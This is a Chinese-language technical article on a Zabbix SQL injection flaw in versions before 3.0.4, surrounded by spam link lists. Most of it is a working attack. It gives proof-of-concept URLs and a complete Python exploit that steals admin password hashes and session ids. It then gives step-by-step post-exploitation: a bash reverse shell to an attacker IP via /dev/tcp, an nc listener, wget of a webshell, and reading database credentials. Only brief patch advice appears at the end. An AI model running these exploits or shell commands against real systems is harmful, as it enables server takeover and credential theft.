精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

專家?guī)闾接慫abbix sql最新注入漏洞及其利用情況

原創(chuàng)
安全 黑客攻防 應(yīng)用安全
專家?guī)鷮崪yZabbix 漏洞,掌握其存在漏洞,其具體利用方法,了解其存在的危險。

   在企業(yè)和個人安全意識不斷增強(qiáng),對有安全防護(hù)的企業(yè)來說,滲透比過去相對困難一些,而一些對硬件、資產(chǎn)等管理平臺仍然存在弱口令等漏洞,一旦通過這些漏洞打開入口,將對企業(yè)安全造成巨大的威脅。Zabbix 是用得非常廣泛的網(wǎng)絡(luò)監(jiān)測軟件,其存在sql注入,聲稱可以獲取管理員密碼,雖然Zabbix 3.0.3以下版本存在漏洞,但如何利用,如何測試,您掌握了嗎?本文帶您實測Zabbix 漏洞,掌握其存在漏洞,其具體利用方法,了解其存在的危險。在本文初稿完成后,筆者對美國、韓國、我國安裝有zabbix的服務(wù)器進(jìn)行了安全測試,結(jié)果表明美國等西方國家,絕大部分服務(wù)器的zabbix漏洞已經(jīng)修復(fù),而我國在100臺服務(wù)器中高達(dá)60臺服務(wù)器未修護(hù)。在未修護(hù)的服務(wù)器中絕大部分已經(jīng)被人滲透過,最后希望通過本文,能加強(qiáng)大家對漏洞的風(fēng)險認(rèn)識,盡自己的一點(diǎn)微薄之力。

  1. Zabbix sql注入漏洞漏洞簡介

  Zabbix 是一個開源的企業(yè)級性能監(jiān)控解決方案。近日,Zabbix 的jsrpc的profileIdx2參數(shù)存在insert方式的SQL注入漏洞,攻擊者無需授權(quán)登陸即可登陸Zabbix 管理系統(tǒng),也可通過script等功能輕易直接獲取Zabbix 服務(wù)器的操作系統(tǒng)權(quán)限。Zabbix 2.2.x, 3.0.0-3.0.3版本存在該漏洞,可能導(dǎo)致敏感數(shù)據(jù)泄漏、服務(wù)器被惡意攻擊者控制進(jìn)而造成更多危害等,更多信息請訪問其官方網(wǎng)站為http://www.Zabbix .com獲取。

  2.漏洞原理與分析

  (1)高權(quán)限利用0day

  Zabbix 最新SQL注入漏洞于8月12日由安全研究員 1N3@CrowdShield 和 Brandon Perry 負(fù)責(zé)任地披露于 Full Disclosure(http://seclists.org/fulldisclosure/2016/Aug/82),其提供的poc為:

  http://www.antian365.com/latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385); select * from users where (1=1

  如果出現(xiàn)以下類似結(jié)果,則表明存在漏洞,該P(yáng)OC的前提必須是具備高權(quán)限用戶。

  

  1. SQL (0.000361): INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (88, 1, 'web.latest.toggle''1', 2, 15385); 
  2. select * from users where (1=1) 
  3. latest.php:746 a require_once() a CProfile::flush() a CProfile::insertDB() a DBexecute() in /home/sasha/Zabbix -svn/branches/2.2/frontends/php/include/profiles.inc.php:185 

  Brandon Perry提供一個0day,經(jīng)測試效果不佳:  

  1. /Zabbix /jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471054088083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfile=true&screenitemid=&period=3600&stime=20170813040734&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1 

  在關(guān)閉 display_errors 的環(huán)境下看不到效果,建議使用一個 sleep 函數(shù),如果頁面阻塞很久才返回,那說明漏洞是存在的,新的 PoC 如下:

  1. /Zabbix /jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471054088083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2-sleep(10)&updateProfile=true&screenitemid=&period=3600&stime=20170813040734&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1 

  (2)低權(quán)限利用0day可獲取管理員加盟密碼

  Zabbix 提供了以guest用戶權(quán)限登錄系統(tǒng),登錄系統(tǒng)后按照以下進(jìn)行訪問:

  http://www.antian365.com/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1

  http://www.antian365.com為目標(biāo)站點(diǎn),如果存在漏洞則會給出如下錯誤信息:  

  1. <div class="flickerfreescreen" id="flickerfreescreen_1" data-timestamp="1471403798083" style="position: relative;"></div><table class="msgerr" cellpadding="0" cellspacing="0" id="msg_messages" style="width: 100%;"><tr><td class="msg" colspan="1"><ul class="messages"><li class="error">Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (191, 2, 'web.item.graph.period', '3600', 2, 1 or updatexml(1,md5(0x11),1) or 11=1)#)] [XPATH syntax error: 'ed733b8d10be225eceba344d533586']</li><li class="error">Error in query [INSERT INTO profiles (profileid, userid, idx, value_str, type, idx2) VALUES (192, 2, 'web.item.graph.stime', '20160817050632', 3, 1 or updatexml(1,md5(0x11),1) or 11=1)#)] [XPATH syntax error: 'ed733b8d10be225eceba344d533586']</li><li class="error">Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (193, 2, 'web.item.graph.isnow', '0', 2, 1 or updatexml(1,md5(0x11),1) or 11=1)#)] [XPATH syntax error: 'ed733b8d10be225eceba344d533586']</li></ul></td></tr></table> 
 

  其中ed733b8d10be225eceba344d533586為管理員的密碼,經(jīng)過核實該密碼目前無法破解,且肯定不是管理員密碼,很多Zabbix 缺省配置Admin密碼Zabbix ,其md5密碼值為5fce1b3e34b520afeffb37ce08c7cd66,如圖1所示,Zabbix 實際md5值。而Guset用戶的密碼值為:d41d8cd98f00b204e9800998ecf8427e,也就是網(wǎng)上公開聲稱的可以獲取管理員的密碼那個0day的POC存在錯誤。

圖1 Zabbix 密碼解密

  (3)存在注入點(diǎn)分析

  在漏洞文件jsrpc.php中: 

  1. $requestType = getRequest('type', PAGE_TYPE_JSON); 
  2. if ($requestType == PAGE_TYPE_JSON) { 
  3. $http_request = new CHttpRequest(); 
  4. $json = new CJson(); 
  5. $data = $json->decode($http_request->body(), true); 
  6. else { 
  7. $data = $_REQUEST
  8. $page['title'] = 'RPC'
  9. $page['file'] = 'jsrpc.php'
  10. $page['type'] = detect_page_type($requestType); 
  11. require_once dirname(__FILE__).'/include/page_header.php'
  12. if (!is_array($data) || !isset($data['method']) 
  13. || ($requestType == PAGE_TYPE_JSON && (!isset($data['params']) || !is_array($data['params'])))) { 
  14. fatal_error('Wrong RPC call to JS RPC!'); 
  15. $result = []; 
  16. switch ($data['method']) { 
  17. ... 
  18. case 'screen.get'
  19. $result = ''
  20. $screenBase = CScreenBuilder::getScreen($data); 
  21. if ($screenBase !== null) { 
  22. $screen = $screenBase->get(); 
  23. if ($data['mode'] == SCREEN_MODE_JS) { 
  24. $result = $screen
  25. if (is_object($screen)) { 
  26. $result = $screen->toString(); 
  27. ... 
  28. require_once dirname(__FILE__).'/include/page_footer.php'

  通過類 CScreenBuilder 中的 getScreen 方法處理 $data 傳入的數(shù)據(jù)。繼續(xù)跟蹤 CScreenBuilder 類:  

  1. /** 
  2. * Init screen data. 
  3. * 
  4. * @param array$options 
  5. * @param boolean$options['isFlickerfree'] 
  6. * @param string$options['pageFile'] 
  7. * @param int$options['mode'] 
  8. * @param int$options['timestamp'] 
  9. * @param int$options['hostid'] 
  10. * @param int$options['period'] 
  11. * @param int$options['stime'] 
  12. * @param string$options['profileIdx'] 
  13. * @param int$options['profileIdx2'] 
  14. * @param boolean$options['updateProfile'] 
  15. * @param array$options['screen'] 
  16. */ 
  17. public function __construct(array $options = []) { 
  18. $this->isFlickerfree = isset($options['isFlickerfree']) ? $options['isFlickerfree'] : true; 
  19. $this->mode = isset($options['mode']) ? $options['mode'] : SCREEN_MODE_SLIDESHOW; 
  20. $this->timestamp = !emptyempty($options['timestamp']) ? $options['timestamp'] : time(); 
  21. $this->hostid = !emptyempty($options['hostid']) ? $options['hostid'] : null; 
  22. // get page file 
  23. if (!emptyempty($options['pageFile'])) { 
  24. $this->pageFile = $options['pageFile']; 
  25. else { 
  26. global $page
  27. $this->pageFile = $page['file']; 
  28. // get screen 
  29. if (!emptyempty($options['screen'])) { 
  30. $this->screen = $options['screen']; 
  31. elseif (array_key_exists('screenid'$options) && $options['screenid'] > 0) { 
  32. $this->screen = API::Screen()->get([ 
  33. 'screenids' => $options['screenid'], 
  34. 'output' => API_OUTPUT_EXTEND, 
  35. 'selectScreenItems' => API_OUTPUT_EXTEND, 
  36. 'editable' => ($this->mode == SCREEN_MODE_EDIT) 
  37. ]); 
  38. if (!emptyempty($this->screen)) { 
  39. $this->screen = reset($this->screen); 
  40. else { 
  41. access_deny(); 
  42. // calculate time 
  43. $this->profileIdx = !emptyempty($options['profileIdx']) ? $options['profileIdx'] : ''
  44. $this->profileIdx2 = !emptyempty($options['profileIdx2']) ? $options['profileIdx2'] : null; 
  45. $this->updateProfile = isset($options['updateProfile']) ? $options['updateProfile'] : true; 
  46. $this->timeline = CScreenBase::calculateTime([ 
  47. 'profileIdx' => $this->profileIdx, 
  48. 'profileIdx2' => $this->profileIdx2, 
  49. 'updateProfile' => $this->updateProfile, 
  50. 'period' => !emptyempty($options['period']) ? $options['period'] : null, 
  51. 'stime' => !emptyempty($options['stime']) ? $options['stime'] : null 
  52. ]); 

  CScreenBuilder 類對 $profiles 進(jìn)行了更新,并且對 PoC 中的 profileIdx2 參數(shù)進(jìn)行了賦值,但還沒有傳入數(shù)據(jù)庫查詢。

  漏洞文件 jsrpc.php 中引入了 page_footer.php, page_footer.php會調(diào)用Cprofile 類:

  1. if (CProfile::isModified()) { 
  2. DBstart(); 
  3. $result = CProfile::flush(); 
  4. DBend($result); 

  跟蹤 flush 函數(shù):

  1. public static function flush() { 
  2. $result = false; 
  3. if (self::$profiles !== null && self::$userDetails['userid'] > 0 && self::isModified()) { 
  4. $result = true; 
  5. foreach (self::$insert as $idx => $profile) { 
  6. foreach ($profile as $idx2 => $data) { 
  7. $result &= self::insertDB($idx$data['value'], $data['type'], $idx2); 
  8. ksort(self::$update); 
  9. foreach (self::$update as $idx => $profile) { 
  10. ksort($profile); 
  11. foreach ($profile as $idx2 => $data) { 
  12. $result &= self::updateDB($idx$data['value'], $data['type'], $idx2); 
  13. return $result
  14. ... 
  15. private static function insertDB($idx$value$type$idx2) { 
  16. $value_type = self::getFieldByType($type); 
  17. $values = [ 
  18. 'profileid' => get_dbid('profiles''profileid'), 
  19. 'userid' => self::$userDetails['userid'], 
  20. 'idx' => zbx_dbstr($idx), 
  21. $value_type => zbx_dbstr($value), 
  22. 'type' => $type
  23. 'idx2' => $idx2 
  24. ]; 

   //注入觸發(fā)點(diǎn)

  1. return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')'); 

  至此,SQL注入產(chǎn)生 。

  (4)可供利用的exp

  在獨(dú)自等待的博客上面找到一個python的exp(http://www.waitalone.cn/Zabbix -sql-1.html)通過實際測試可以順利獲取管理員密碼以及session,如圖2所示,利用方法為: 

  1. python Zabbix .py http://114.111.111.1:81 

  

圖2 獲取Zabbix 管理員密碼

  將以下代碼保存為zabbix.py即可:  

  1. #!/usr/bin/env python 
  2. # -*- coding: gbk -*- 
  3. # -*- coding: utf_8 -*- 
  4. # Date: 2016/8/18 
  5. # Created by 獨(dú)自等待 
  6. # 博客 http://www.waitalone.cn/ 
  7. import urllib2 
  8. import sys, os 
  9. import re 
  10. def deteck_Sql(): 
  11.     u'檢查是否存在SQL注入' 
  12.     payload = "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1" 
  13.     try
  14.         response = urllib2.urlopen(url + payload, timeout=10).read() 
  15.     except Exception, msg: 
  16.         print msg 
  17.     else
  18.         key_reg = re.compile(r"INSERT\s*INTO\s*profiles"
  19.         if key_reg.findall(response): 
  20.             return True 
  21. def sql_Inject(sql): 
  22.     u'獲取特定sql語句內(nèi)容' 
  23.     payload = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote( 
  24.         sql) + "&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1" 
  25.     try
  26.         response = urllib2.urlopen(payload, timeout=10).read() 
  27.     except Exception, msg: 
  28.         print msg 
  29.     else
  30.         result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1"
  31.         results = result_reg.findall(response) 
  32.         if results: 
  33.             return results[0
  34. if __name__ == '__main__'
  35.     # os.system(['clear', 'cls'][os.name == 'nt']) 
  36.     print '+' + '-' * 60 + '+' 
  37.     print '\t   Python Zabbix<3.0.4 SQL注入 Exploit' 
  38.     print '\t    Blog:http://www.waitalone.cn/' 
  39.     print '\t\t   Code BY: 獨(dú)自等待' 
  40.     print '\t\t   Time:2016-08-18' 
  41.     print '+' + '-' * 60 + '+' 
  42.     if len(sys.argv) != 2
  43.         print '用法: ' + os.path.basename(sys.argv[0]) + ' Zabbix 網(wǎng)站地址' 
  44.         print '實例: ' + os.path.basename(sys.argv[0]) + ' http://www.waitalone.cn/' 
  45.         sys.exit() 
  46.     url = sys.argv[1
  47.     if url[-1] != '/': url += '/' 
  48.     passwd_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from  users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)" 
  49.     session_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)" 
  50.     if deteck_Sql(): 
  51.         print u'Zabbix 存在SQL注入漏洞!\n' 
  52.         print u'管理員  用戶名密碼:%s' % sql_Inject(passwd_sql) 
  53.         print u'管理員  Session_id:%s' % sql_Inject(session_sql) 
  54.     else
  55.         print u'Zabbix 不存在SQL注入漏洞!\n' 

  3.漏洞實際利用方法探討

  對Zabbix 漏洞的實際利用是指在獲取管理員密碼后,通過管理中心添加腳本,執(zhí)行腳本命令來獲取反彈shell,通過shell來提權(quán)或者執(zhí)行其它操作。

  (1)獲取管理員密碼

  Zabbix SQL注入漏洞可以很方便的獲取管理員的密碼,通過exp直接可以獲取管理員密碼,另外一種方法就是暴力破解,Zabbix 默認(rèn)管理員賬號Admin/zabbix 、admin/zabbix 。Zabbix sql注入漏洞獲取管理員密碼exp下載地址http://www.antian365.com/forum.php?mod=viewthread&tid=629&extra=

  (2)創(chuàng)建腳本

  登錄系統(tǒng)后,單擊“管理”-“腳本”-“創(chuàng)建腳本”,如果是英文,則是Administration- Scripts-Create Scripts。如圖3所示。在名稱中隨便輸入一個,例如cat,在命令中輸入“bash -i >& /dev/tcp/122.11x.47.xx/4433 0>&1”,其中的122.11x.47.xx為監(jiān)聽的獨(dú)立IP的服務(wù)器。

圖3創(chuàng)建反彈腳本

  (3)執(zhí)行腳本命令

  在執(zhí)行腳本命令前,需要在監(jiān)聽服務(wù)器上使用“nc –vv –l –p 4433”監(jiān)聽4433端口,完畢后,在Zabbix 管理主界面,單擊“監(jiān)測中”,然后單擊主機(jī)列表下的服務(wù)器,右鍵彈出的菜單中選擇剛才創(chuàng)建的命令,如圖4所示,選擇剛才創(chuàng)建的腳本執(zhí)行即可,執(zhí)行成功后會成功獲取的反彈的shell,如圖5所示。

  圖4執(zhí)行命令

  圖5獲取反彈的shell

  (4)查看配置文件并獲取webshell

  獲取終端shell后,可以通過locate *.php或者find –name “.php”命令查找php文件所在具體位置,到該目錄后,如果可寫,則通過wget http://www.antian365.com/shell.txt命令下載webshell到本地,并執(zhí)行chmod +x shell.txt命令給shell.txt文件可執(zhí)行權(quán)限,最后將該文件重命名為php文件即可,如圖6所示,成功獲取webshell。

圖6獲取webshell

  如果網(wǎng)站當(dāng)前用戶權(quán)限為root,則可以通過讀取conf/Zabbix .conf文件讀取配置文件內(nèi)容,如圖7所示,可以獲取數(shù)據(jù)庫用戶和密碼。

圖7讀取配置文件內(nèi)容

  (5)linux提權(quán)

  在實際測試過程中,有部分服務(wù)器是采用root賬號,絕大部分是Zabbix 賬號,也就是普通用戶,對于linux提權(quán),需要查看其相應(yīng)的內(nèi)核版本或者應(yīng)用程序存在漏洞,根據(jù)相應(yīng)的漏洞進(jìn)行編譯和執(zhí)行,如果存在漏洞則可以獲取root權(quán)限,反之則無法提權(quán)。

  (6)在zabbix還可以通過sessionid進(jìn)行登錄

  使用Tamper插件,開啟Tamper插件,在抓取到的包中,通過修改zbx_sessionid值為SQL注入獲取的sessionid值,提交即可進(jìn)入后臺,如圖8,圖9所示。這種情況主要適合無法破解zabbix通過注入獲取到的md5密碼。

  圖8修改zbx_sessionid值

  圖9成功登錄后臺

  4.在線網(wǎng)站漏洞檢測

  (1)https://www.vulbox.com/lab

  (2)https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?service_id=1026

  5、漏洞修復(fù)方案

  (1)將當(dāng)前版本升級到最新版本,補(bǔ)丁更新ttps://support.Zabbix .com/browse/ZBX-11023

  (2)打補(bǔ)丁

  (3)關(guān)閉guest賬號,或者直接將guest賬號刪除。

責(zé)任編輯:周雪 來源: 51CTO.com
相關(guān)推薦

2025-01-02 14:21:20

2024-12-04 13:33:43

2023-05-06 11:05:50

2015-02-10 13:24:27

CSRF漏洞CSRF

2014-02-28 17:29:06

2017-05-02 09:02:14

2010-10-22 15:18:18

SQL注入漏洞

2009-02-12 10:14:16

2024-05-29 14:43:34

2009-10-25 13:32:09

2009-11-02 13:47:09

2021-09-16 09:05:45

SQL注入漏洞網(wǎng)絡(luò)攻擊

2013-12-20 09:46:56

Hadoop大數(shù)據(jù)數(shù)據(jù)處理

2017-09-07 15:39:27

2017-08-09 17:09:47

2013-11-18 09:44:02

2015-03-23 12:26:49

2023-11-06 13:11:15

2018-03-29 10:16:04

2014-12-04 15:01:13

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號

一二三四视频社区在线| 97婷婷涩涩精品一区| 老司机久久精品| 国产在线xxx| 久久久久久99久久久精品网站| 国产精品av网站| 青娱乐在线视频免费观看| 青青草久久爱| 91精品国产美女浴室洗澡无遮挡| 亚洲人精品午夜射精日韩 | 欧美午夜精品理论片a级大开眼界 欧美午夜精品久久久久免费视 | 亚洲乱码中文字幕| 蜜桃视频在线观看成人| 国产精品视频一二区| 国产精品亚洲综合色区韩国| 日韩视频精品在线| 国产呦小j女精品视频| 欧美区一区二区| 91久久精品一区二区二区| av一区二区三区免费观看| 国产美女性感在线观看懂色av| 国产福利91精品| 国产精品高潮呻吟久久av黑人| 国产无遮挡又黄又爽又色| 天天射成人网| 一本色道久久88精品综合| 蜜臀av粉嫩av懂色av| 日韩成人一区| 91福利在线观看| heyzo国产| 欧美女同一区| 亚洲日本护士毛茸茸| 久久大片网站| 欧美在线 | 亚洲| 国产精品一二一区| 成人国产精品一区| 在线观看免费视频一区| 午夜在线一区二区| 欧美黑人xxxx| 国产女片a归国片aa| 日韩欧美精品综合| 在线一区二区日韩| 亚洲区自拍偷拍| 日本中文字幕视频在线| 久久日本片精品aaaaa国产| 五月天一区二区三区| 一本久道高清无码视频| 亚洲美女在线播放| 成人在线免费看视频| 中出一区二区| 超碰97人人做人人爱少妇| 亚洲女同二女同志奶水| 成人在线免费视频观看| 这里只有视频精品| 日韩精品电影一区二区三区| 欧美猛男同性videos| 亚洲精品一区中文| 成人免费毛片糖心| 精品久久视频| 在线观看久久av| 自拍偷拍第9页| 你懂的国产精品| 欧美丰满少妇xxxx| 日韩av电影网址| 午夜在线视频一区二区区别 | 欧美天堂视频| 欧美三级蜜桃2在线观看| 岛国毛片在线播放| 国产精品麻豆| 亚洲风情亚aⅴ在线发布| 亚洲调教欧美在线| 国产精品一区二区三区av麻| 在线观看日韩欧美| 欧美黄色免费观看| 国产情侣一区| 国产精品入口免费视| va婷婷在线免费观看| 成人午夜av在线| 蜜桃成人在线| 色老头视频在线观看| 亚洲黄网站在线观看| 3d动漫一区二区三区| 日本精品网站| 日韩一区二区精品葵司在线| 不卡一区二区在线观看| 久久密一区二区三区| 欧美激情影音先锋| 波多野结衣一二区| 国产精品一区二区在线看| 精品视频导航| 日韩av中文| 五月天中文字幕一区二区| 日日摸天天爽天天爽视频| 高清国产一区二区三区四区五区| 日韩三级在线观看| 四虎永久免费在线观看| 综合在线视频| 国产www精品| www.成人免费视频| 久久久亚洲精品一区二区三区| 在线电影看在线一区二区三区| 污污视频在线看| 色欧美乱欧美15图片| 欧美高清精品一区二区| 美女网站一区| 欧美激情精品久久久久久黑人| www.桃色.com| 四虎电影院在线观看| 亚洲国产精品精华液2区45| 加勒比海盗1在线观看免费国语版| 国产精品原创| 3d动漫精品啪啪一区二区竹菊| 中文字幕在线播放一区| 99热国内精品永久免费观看| 欧美在线观看日本一区| www.国产麻豆| 中文字幕中文字幕一区二区| 男人靠女人免费视频网站| 精品成人18| 日韩在线视频免费观看| 六月丁香激情综合| 成人午夜电影久久影院| 久久观看最新视频| 欧美日韩五码| 日韩国产中文字幕| 激情五月婷婷在线| 精品一区二区影视| 午夜精品短视频| 东京一区二区| 亚洲精品www| 久久久久亚洲av无码专区| 蜜桃av一区二区在线观看| 蜜桃免费一区二区三区| 国产探花在线观看| 日韩欧美电影在线| 日韩av手机在线免费观看| 日本视频在线一区| 日韩精品另类天天更新| 欧美一区久久久| 日韩av一区在线| 日韩精品一区二区在线播放 | 尤物网在线观看| 色丁香久综合在线久综合在线观看| 91丝袜在线观看| 亚洲人成在线影院| 国产精品果冻传媒潘| 91cn在线观看| 精品欧美乱码久久久久久| 国产极品国产极品| 国产成人综合自拍| 日b视频免费观看| 亚洲视频一起| 久久久久久成人精品| 欧美一级免费片| 午夜视频在线观看一区二区三区| 中文字幕第3页| 亚洲人体偷拍| 欧美日本韩国在线| 成人开心激情| 日韩有码片在线观看| 91亚洲欧美激情| 亚洲免费在线观看| 美女扒开腿免费视频| 亚洲国产精品一区| 精品国产综合区久久久久久| 成人欧美大片| 在线亚洲国产精品网| 国产又粗又黄又爽的视频| 亚洲欧美韩国综合色| 大桥未久恸哭の女教师| 国产欧美不卡| 色姑娘综合av| 精品久久亚洲| 国内揄拍国内精品少妇国语| 青青草超碰在线| 欧美日本国产视频| 国产一级大片在线观看| 久久综合九色综合欧美亚洲| 精品亚洲一区二区三区四区| 久蕉在线视频| 精品免费久久久| 国产精品久久久久久av公交车| 色偷偷综合社区| 国产女人18毛片18精品| 亚洲成人综合在线| 亚洲精品午夜视频| 国产精品一色哟哟哟| 国产精品专区在线| 欧美一区二区三| 91传媒免费看| 成人免费影院| 欧美另类高清videos| 青青免费在线视频| 欧美一三区三区四区免费在线看| 日本三级欧美三级| 中文字幕一区二区日韩精品绯色| 亚洲欧美日韩偷拍| 久久国产精品区| 免费在线观看视频a| 色综合天天爱| 蜜桃传媒视频第一区入口在线看| 亚洲午夜剧场| 日产精品久久久一区二区福利| caoporn97在线视频| 亚洲奶大毛多的老太婆| 99热这里只有精品99| 亚洲茄子视频| 91久色国产| 日韩成人高清| 韩国三级日本三级少妇99| 在线免费看黄| 精品无码久久久久久国产| 99热这里只有精品66| 欧美午夜电影在线播放| 粉嫩aⅴ一区二区三区| 亚洲欧洲制服丝袜| 一级肉体全黄裸片| 国产精品66| 永久免费精品影视网站| 黑人乱码一区二区三区av| 欧美精品亚洲二区| 亚洲色成人www永久网站| 亚洲va欧美va天堂v国产综合| 精品亚洲乱码一区二区| 国产婷婷一区二区| av无码一区二区三区| 国产美女视频91| 亚洲精品成人在线播放| 日韩精品1区2区3区| 国产精品少妇在线视频| 亚洲人成在线影院| 成人网站免费观看入口| 黄色日韩在线| 日本一区午夜艳熟免费| 欧美激情麻豆| 中文字幕の友人北条麻妃| 欧美激情偷拍自拍| 亚洲精品欧美精品| 日韩精品电影| 性欧美大战久久久久久久免费观看| 欧美日韩xxxx| 日韩精品在在线一区二区中文| 久操精品在线| 日本免费高清一区| 精品一区二区三| 亚洲国产精品久久久久久女王| 精品免费视频| 亚洲欧洲一二三| 婷婷综合伊人| 亚洲自拍偷拍一区二区三区| 亚洲色图欧美| 久久久天堂国产精品| 欧美福利影院| 奇米影视亚洲色图| 国产午夜久久| 久久久久久久少妇| 蜜臀av在线播放一区二区三区| 亚洲一级片网站| 黄页网站大全一区二区| 毛片毛片毛片毛片毛| 国产91色综合久久免费分享| 亚洲精品激情视频| jizz一区二区| 性欧美13一14内谢| 国产精品欧美经典| 日本中文字幕免费在线观看| 亚洲一区二区三区激情| 中文字幕激情小说| 欧美三级资源在线| 国产同性人妖ts口直男| 亚洲福利在线看| 国产永久av在线| 欧美精品日韩www.p站| 538视频在线| 国产成人在线一区| 久久久91麻豆精品国产一区| 精品乱色一区二区中文字幕| 精品国产一区探花在线观看| 久久久成人精品一区二区三区| 影音先锋久久精品| 亚洲视频在线a| 国产精品一区二区在线观看网站| 给我免费观看片在线电影的| 中文字幕免费观看一区| 国产性生活网站| 一本色道久久综合亚洲aⅴ蜜桃| 一级片在线观看视频| 亚洲高清福利视频| 成年人免费在线视频| 欧美另类在线观看| 一二区成人影院电影网| 91美女片黄在线观| 国产精品嫩模av在线| 一本二本三本亚洲码| 亚洲一区成人| 手机在线观看日韩av| 国产亚洲精品中文字幕| 欧美激情国产精品免费| 欧洲一区二区三区免费视频| 性少妇videosexfreexxx片| 亚洲欧美综合区自拍另类| 青春草在线视频| 国产精品欧美一区二区| 婷婷成人综合| 欧美狂野激情性xxxx在线观| 理论电影国产精品| 人妻大战黑人白浆狂泄| 亚洲成人av在线电影| 国产一区二区麻豆| 伊人伊成久久人综合网小说| 国产高清中文字幕在线| 91偷拍精品一区二区三区| 波多野结衣一区| 爱福利视频一区二区| 成人午夜免费电影| 熟女少妇a性色生活片毛片| 欧美亚州韩日在线看免费版国语版| 日本波多野结衣在线| 久久97久久97精品免视看| 色综合久久久| 亚洲欧洲国产日韩精品| 日本怡春院一区二区| 9.1成人看片| 五月婷婷久久综合| 亚洲男人第一天堂| 欧美富婆性猛交| 欧美激情三级| 日本精品免费视频| 国内欧美视频一区二区| 俄罗斯毛片基地| 欧美日韩中文字幕一区二区| 国产中文字幕在线看| 日本精品视频在线| 夜夜躁狠狠躁日日躁2021日韩| 草草视频在线免费观看| 丁香五精品蜜臀久久久久99网站 | 台湾色综合娱乐中文网| 日韩一区二区高清视频| 国产乱一区二区| 国产一区二区视频在线观看免费| 4438x成人网最大色成网站| 国产在线观看av| 91性高湖久久久久久久久_久久99| 99久久婷婷| 在线一区二区不卡| 亚洲色欲色欲www| 国产精品午夜福利| 不卡av电影院| 国产美女亚洲精品7777| 中文字幕精品在线播放| 国产精品白丝jk白祙喷水网站| 欧美色图亚洲视频| 精品处破学生在线二十三| 538在线观看| 日本不卡在线观看| 青青草97国产精品免费观看无弹窗版| 国产精品情侣呻吟对白视频| 欧美嫩在线观看| 亚洲精品一线| 国产一区在线免费| 天堂成人国产精品一区| 亚洲图片第一页| 日韩欧美一区中文| www视频在线观看| 少妇特黄a一区二区三区| 老司机免费视频一区二区三区| 午夜精品福利在线视频| 精品久久人人做人人爰| 都市激情亚洲一区| 中文字幕中文字幕一区三区| 国产高清在线精品| 成年人午夜视频| 在线播放日韩精品| 韩国三级大全久久网站| 阿v天堂2018| 国产亚洲视频系列| 国产绳艺sm调教室论坛| 欧美亚洲日本网站| 91日韩视频| 日韩无码精品一区二区| 欧美亚洲综合久久| 密臀av在线| 亚洲成人网上| 成人黄色网址在线观看| 中文字幕1区2区3区| 久久99久久99精品免观看粉嫩| 色综合久久中文| 久久6免费视频| 欧美午夜女人视频在线| 国产在线观看免费麻豆| 日本不卡在线观看| 国产1区2区3区精品美女| 亚洲av综合一区| 久久久久九九九九| 日韩三级在线| 人妻无码一区二区三区| 欧美一区二区私人影院日本| 日韩精品一区二区三区| 成人av在线播放观看| 国产精品私房写真福利视频|